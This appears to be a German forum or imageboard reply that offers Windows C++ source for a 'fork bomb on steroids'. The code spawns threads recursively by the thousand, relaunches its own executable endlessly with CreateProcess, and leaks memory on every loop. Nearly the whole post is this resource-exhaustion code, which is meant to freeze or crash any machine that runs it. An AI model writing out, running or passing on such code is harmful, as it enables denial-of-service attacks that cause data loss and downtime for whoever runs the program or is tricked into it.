>>214150017
Ja, das Programm startet sich immer wieder selbst.
Hier nochmal eine Forkbombe auf Stereoiden:
// FUNKTIONIERT NUR AUF WINDOWS!!!
#include <windows.h>
#include <thread>
#include <vector>
void startProcess() {
std::vector<std::thread> threads;
for(int i{0}; i < 1000; ++i) {
std::thread t(startProcess);
threads.push_back(std::move(t));
}
for(auto& it : threads) {
if(it.joinable()) {
it.join();
}
}
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
while(true) {
CreateProcess(
"forkbomb.exe", // Programmname
nullptr, // Kommandozeile
nullptr, // Prozess-Attribute
nullptr, // Thread-Attribute
false, // Handles vererben
0, // Erstellungs-Flags
nullptr, // Umgebung
nullptr, // Arbeitsverzeichnis
&si,
&pi);
int* t = new int(42);
}
}
int main() {
std::vector<std::thread> threads;
for (int i{ 0 }; i < 1000; ++i) {
std::thread t(startProcess);
threads.push_back(std::move(t));
}
for (auto& it : threads) {
if (it.joinable()) {
it.join();
}
}
return 0;
}